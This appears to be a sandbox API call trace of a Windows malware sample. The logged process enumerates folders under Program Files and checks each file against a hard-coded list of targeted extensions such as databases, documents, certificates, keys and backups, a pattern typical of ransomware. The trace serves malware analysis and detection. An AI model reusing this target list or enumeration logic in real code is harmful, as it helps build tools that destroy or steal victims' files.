	[0181.207] lstrlenW (lpString=".lbi") returned 4
	[0181.207] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".lgf") returned 4
	[0181.207] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".lgp") returned 4
	[0181.207] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0181.207] lstrlenW (lpString=".log") returned 4
	[0181.208] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".m1v") returned 4
	[0181.208] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".m4a") returned 4
	[0181.208] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".m4v") returned 4
	[0181.208] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".max") returned 4
	[0181.208] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".md") returned 3
	[0181.208] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0181.208] lstrlenW (lpString=".mda") returned 4
	[0181.208] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".mdb") returned 4
	[0181.208] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".mde") returned 4
	[0181.208] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".mdf") returned 4
	[0181.208] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".mdw") returned 4
	[0181.208] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".mef") returned 4
	[0181.208] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".mft") returned 4
	[0181.208] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".mfw") returned 4
	[0181.208] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".mht") returned 4
	[0181.208] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0181.208] lstrlenW (lpString=".mhtml") returned 6
	[0181.208] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0181.209] lstrlenW (lpString=".mka") returned 4
	[0181.209] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".mkidx") returned 6
	[0181.209] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0181.209] lstrlenW (lpString=".mkv") returned 4
	[0181.209] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".mos") returned 4
	[0181.209] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".mov") returned 4
	[0181.209] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".mp3") returned 4
	[0181.209] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".mp4") returned 4
	[0181.209] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".mpeg") returned 5
	[0181.209] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0181.209] lstrlenW (lpString=".mpg") returned 4
	[0181.209] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".mpv") returned 4
	[0181.209] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".mrw") returned 4
	[0181.209] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".msg") returned 4
	[0181.209] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0181.209] lstrlenW (lpString=".mxl") returned 4
	[0181.209] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0181.209] lstrlenW (lpString=".myd") returned 4
	[0181.209] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0181.209] lstrlenW (lpString=".myi") returned 4
	[0181.209] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0181.209] lstrlenW (lpString=".nef") returned 4
	[0181.209] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0181.209] lstrlenW (lpString=".nrw") returned 4
	[0181.209] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0181.209] lstrlenW (lpString=".obj") returned 4
	[0181.209] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0181.209] lstrlenW (lpString=".odb") returned 4
	[0181.210] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".odc") returned 4
	[0181.210] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".odm") returned 4
	[0181.210] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".odp") returned 4
	[0181.210] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".ods") returned 4
	[0181.210] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".oft") returned 4
	[0181.210] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".one") returned 4
	[0181.210] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".onepkg") returned 7
	[0181.210] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0181.210] lstrlenW (lpString=".onetoc2") returned 8
	[0181.210] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0181.210] lstrlenW (lpString=".opt") returned 4
	[0181.210] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".oqy") returned 4
	[0181.210] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".orf") returned 4
	[0181.210] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".p12") returned 4
	[0181.210] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".p7b") returned 4
	[0181.210] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".p7c") returned 4
	[0181.210] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0181.210] lstrlenW (lpString=".pam") returned 4
	[0181.210] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pbm") returned 4
	[0181.211] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pct") returned 4
	[0181.211] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pcx") returned 4
	[0181.211] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pdd") returned 4
	[0181.211] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pdf") returned 4
	[0181.211] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pdp") returned 4
	[0181.211] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pef") returned 4
	[0181.211] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pem") returned 4
	[0181.211] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pff") returned 4
	[0181.211] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pfm") returned 4
	[0181.211] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pfx") returned 4
	[0181.211] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".pgm") returned 4
	[0181.211] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".php") returned 4
	[0181.211] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0181.211] lstrlenW (lpString=".php3") returned 5
	[0181.211] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0181.211] lstrlenW (lpString=".php4") returned 5
	[0181.211] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0181.211] lstrlenW (lpString=".php5") returned 5
	[0181.211] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0181.211] lstrlenW (lpString=".phtml") returned 6
	[0181.211] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0181.211] lstrlenW (lpString=".pict") returned 5
	[0181.211] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0181.211] lstrlenW (lpString=".pl") returned 3
	[0181.212] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0181.212] lstrlenW (lpString=".pls") returned 4
	[0181.212] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0181.212] lstrlenW (lpString=".pm") returned 3
	[0181.212] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0181.212] lstrlenW (lpString=".png") returned 4
	[0181.212] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0181.212] lstrlenW (lpString=".pnm") returned 4
	[0181.212] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0181.212] lstrlenW (lpString=".pot") returned 4
	[0181.212] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0181.212] lstrlenW (lpString=".potm") returned 5
	[0181.212] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0181.212] lstrlenW (lpString=".potx") returned 5
	[0181.212] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0181.212] lstrlenW (lpString=".ppa") returned 4
	[0181.212] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0181.212] lstrlenW (lpString=".ppam") returned 5
	[0181.212] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0181.212] lstrlenW (lpString=".ppm") returned 4
	[0181.212] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0181.212] lstrlenW (lpString=".pps") returned 4
	[0181.212] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0181.212] lstrlenW (lpString=".ppsm") returned 5
	[0181.212] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0181.212] lstrlenW (lpString=".ppt") returned 4
	[0181.212] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.212] lstrlenW (lpString=".pptm") returned 5
	[0181.212] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0181.212] lstrlenW (lpString=".pptx") returned 5
	[0181.212] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0181.212] lstrlenW (lpString=".prn") returned 4
	[0181.212] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0181.212] lstrlenW (lpString=".ps") returned 3
	[0181.212] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0181.212] lstrlenW (lpString=".psb") returned 4
	[0181.212] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".psd") returned 4
	[0181.213] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".pst") returned 4
	[0181.213] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".ptx") returned 4
	[0181.213] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".pub") returned 4
	[0181.213] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".pwm") returned 4
	[0181.213] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".pxr") returned 4
	[0181.213] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".py") returned 3
	[0181.213] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0181.213] lstrlenW (lpString=".qt") returned 3
	[0181.213] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0181.213] lstrlenW (lpString=".r3d") returned 4
	[0181.213] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".raf") returned 4
	[0181.213] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".rar") returned 4
	[0181.213] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.213] lstrlenW (lpString=".raw") returned 4
	[0181.213] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1
	[0181.213] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdfcde00, ftLastWriteTime.dwHighDateTime=0x1d29fad, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0
	[0181.213] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0181.213] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0181.213] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0181.214] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689bee27, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x689bee27, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x689bee27, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x376a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1
	[0181.214] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b62893, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b62893, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b62893, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x136c70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1
	[0181.214] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687102e9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x687102e9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x687102e9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xef500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1
	[0181.214] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689e508b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x689e508b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x689e508b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3776, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceTigrinya.txt", cAlternateFileName="")) returned 1
	[0181.214] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1bd11b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1bd11b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a1bd11b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1
	[0181.214] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1bd11b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1bd11b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a1bd11b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0
	[0181.214] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0181.214] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0181.214] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0181.214] FindClose (in: hFindFile=0x76e7a8 | out: hFindFile=0x76e7a8) returned 1
	[0181.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0181.216] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0181.216] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4057fb8
	[0181.217] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer") returned 37
	[0181.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0181.217] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.217] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa09505f0, ftCreationTime.dwHighDateTime=0x1d5cdc5, ftLastAccessTime.dwLowDateTime=0xa2a78c60, ftLastAccessTime.dwHighDateTime=0x1d5993a, ftLastWriteTime.dwLowDateTime=0xa2a78c60, ftLastWriteTime.dwHighDateTime=0x1d5993a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1
	[0181.217] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0181.217] lstrlenW (lpString=".1cd") returned 4
	[0181.217] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0181.217] lstrlenW (lpString=".3ds") returned 4
	[0181.217] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0181.217] lstrlenW (lpString=".3fr") returned 4
	[0181.217] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0181.217] lstrlenW (lpString=".3g2") returned 4
	[0181.217] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0181.217] lstrlenW (lpString=".3gp") returned 4
	[0181.217] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0181.217] lstrlenW (lpString=".7z") returned 3
	[0181.217] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0181.217] lstrlenW (lpString=".accda") returned 6
	[0181.218] lstrcmpiW (lpString1=".accda", lpString2="rd.exe") returned -1
	[0181.218] lstrlenW (lpString=".accdb") returned 6
	[0181.218] lstrcmpiW (lpString1=".accdb", lpString2="rd.exe") returned -1
	[0181.218] lstrlenW (lpString=".accdc") returned 6
	[0181.218] lstrcmpiW (lpString1=".accdc", lpString2="rd.exe") returned -1
	[0181.218] lstrlenW (lpString=".accde") returned 6
	[0181.218] lstrcmpiW (lpString1=".accde", lpString2="rd.exe") returned -1
	[0181.218] lstrlenW (lpString=".accdt") returned 6
	[0181.218] lstrcmpiW (lpString1=".accdt", lpString2="rd.exe") returned -1
	[0181.218] lstrlenW (lpString=".accdw") returned 6
	[0181.218] lstrcmpiW (lpString1=".accdw", lpString2="rd.exe") returned -1
	[0181.218] lstrlenW (lpString=".adb") returned 4
	[0181.218] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0181.218] lstrlenW (lpString=".adp") returned 4
	[0181.218] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0181.218] lstrlenW (lpString=".ai") returned 3
	[0181.218] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0181.218] lstrlenW (lpString=".ai3") returned 4
	[0181.218] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0181.218] lstrlenW (lpString=".ai4") returned 4
	[0181.218] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0181.218] lstrlenW (lpString=".ai5") returned 4
	[0181.218] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0181.218] lstrlenW (lpString=".ai6") returned 4
	[0181.218] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0181.218] lstrlenW (lpString=".ai7") returned 4
	[0181.218] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0181.218] lstrlenW (lpString=".ai8") returned 4
	[0181.218] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0181.218] lstrlenW (lpString=".anim") returned 5
	[0181.218] lstrcmpiW (lpString1=".anim", lpString2="d.exe") returned -1
	[0181.218] lstrlenW (lpString=".arw") returned 4
	[0181.218] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".as") returned 3
	[0181.219] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0181.219] lstrlenW (lpString=".asa") returned 4
	[0181.219] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".asc") returned 4
	[0181.219] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".ascx") returned 5
	[0181.219] lstrcmpiW (lpString1=".ascx", lpString2="d.exe") returned -1
	[0181.219] lstrlenW (lpString=".asm") returned 4
	[0181.219] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".asmx") returned 5
	[0181.219] lstrcmpiW (lpString1=".asmx", lpString2="d.exe") returned -1
	[0181.219] lstrlenW (lpString=".asp") returned 4
	[0181.219] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".aspx") returned 5
	[0181.219] lstrcmpiW (lpString1=".aspx", lpString2="d.exe") returned -1
	[0181.219] lstrlenW (lpString=".asr") returned 4
	[0181.219] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".asx") returned 4
	[0181.219] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".avi") returned 4
	[0181.219] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".avs") returned 4
	[0181.219] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".backup") returned 7
	[0181.219] lstrcmpiW (lpString1=".backup", lpString2="ard.exe") returned -1
	[0181.219] lstrlenW (lpString=".bak") returned 4
	[0181.219] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".bay") returned 4
	[0181.219] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".bd") returned 3
	[0181.219] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0181.219] lstrlenW (lpString=".bin") returned 4
	[0181.219] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".bmp") returned 4
	[0181.219] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0181.219] lstrlenW (lpString=".bz2") returned 4
	[0181.220] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0181.220] lstrlenW (lpString=".c") returned 2
	[0181.220] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0181.220] lstrlenW (lpString=".cdr") returned 4
	[0181.220] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0181.220] lstrlenW (lpString=".cer") returned 4
	[0181.220] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0181.220] lstrlenW (lpString=".cf") returned 3
	[0181.220] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0181.220] lstrlenW (lpString=".cfc") returned 4
	[0181.220] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0181.220] lstrlenW (lpString=".cfm") returned 4
	[0181.220] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0181.220] lstrlenW (lpString=".cfml") returned 5
	[0181.220] lstrcmpiW (lpString1=".cfml", lpString2="d.exe") returned -1
	[0181.220] lstrlenW (lpString=".cfu") returned 4
	[0181.220] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0181.220] lstrlenW (lpString=".chm") returned 4
	[0181.220] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
